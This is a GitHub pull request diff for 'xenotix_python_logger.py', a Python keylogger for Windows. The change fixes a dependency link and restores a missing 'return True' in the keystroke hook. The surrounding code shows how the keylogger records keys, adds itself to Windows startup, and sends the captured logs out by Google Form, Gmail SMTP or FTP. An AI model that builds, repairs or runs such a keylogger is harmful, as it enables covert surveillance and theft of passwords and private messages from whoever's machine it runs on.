Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed two open issue. Lack of proper pywin 32 and missing return #13

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 12 additions & 9 deletions xenotix_python_logger.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,9 +16,10 @@
===================
Python 2.7: http://www.python.org/getit/
pyHook Module: http://sourceforge.net/projects/pyhook/
pyrhoncom Module: http://sourceforge.net/projects/pywin32/
pyrhoncom Module: https://github.com/mhammond/pywin32/releases/
# added link to valid pywin32 releases to address open issue.

pyHook Module -
pyHook Module -
Unofficial Windows Binaries for Python Extension Packages: http://www.lfd.uci.edu/~gohlke/pythonlibs/


Expand Down Expand Up @@ -65,11 +66,11 @@ def msg():

mode:
local: store the logs in a file [keylogs.txt]

remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.

email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).

ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).

[optional] startup: This will add the keylogger to windows startup.\n\n"""
Expand Down Expand Up @@ -124,7 +125,7 @@ def run(self):
ts = datetime.datetime.now()
SERVER = "smtp.gmail.com" #Specify Server Here
PORT = 587 #Specify Port Here
USER="[email protected]"#Specify Username Here
USER="[email protected]"#Specify Username Here
PASS="password_here"#Specify Password Here
FROM = USER#From address is taken from username
TO = ["[email protected]"] #Specify to address.Use comma if more than one to address is needed.
Expand Down Expand Up @@ -188,7 +189,7 @@ def main():
else:
if len(sys.argv)>2:
if sys.argv[2]=="startup":
addStartup()
addStartup()
else:
msg()
exit(0)
Expand Down Expand Up @@ -223,13 +224,15 @@ def keypressed(event):
keys='<TAB>'
else:
keys=chr(event.Ascii)
data=data+keys
if x==1:
data=data+keys
if x==1:
local()
elif x==2:
remote()
elif x==4:
ftp()
return True # added return True to address open issue


obj = pyHook.HookManager()
obj.KeyDown = keypressed
Expand Down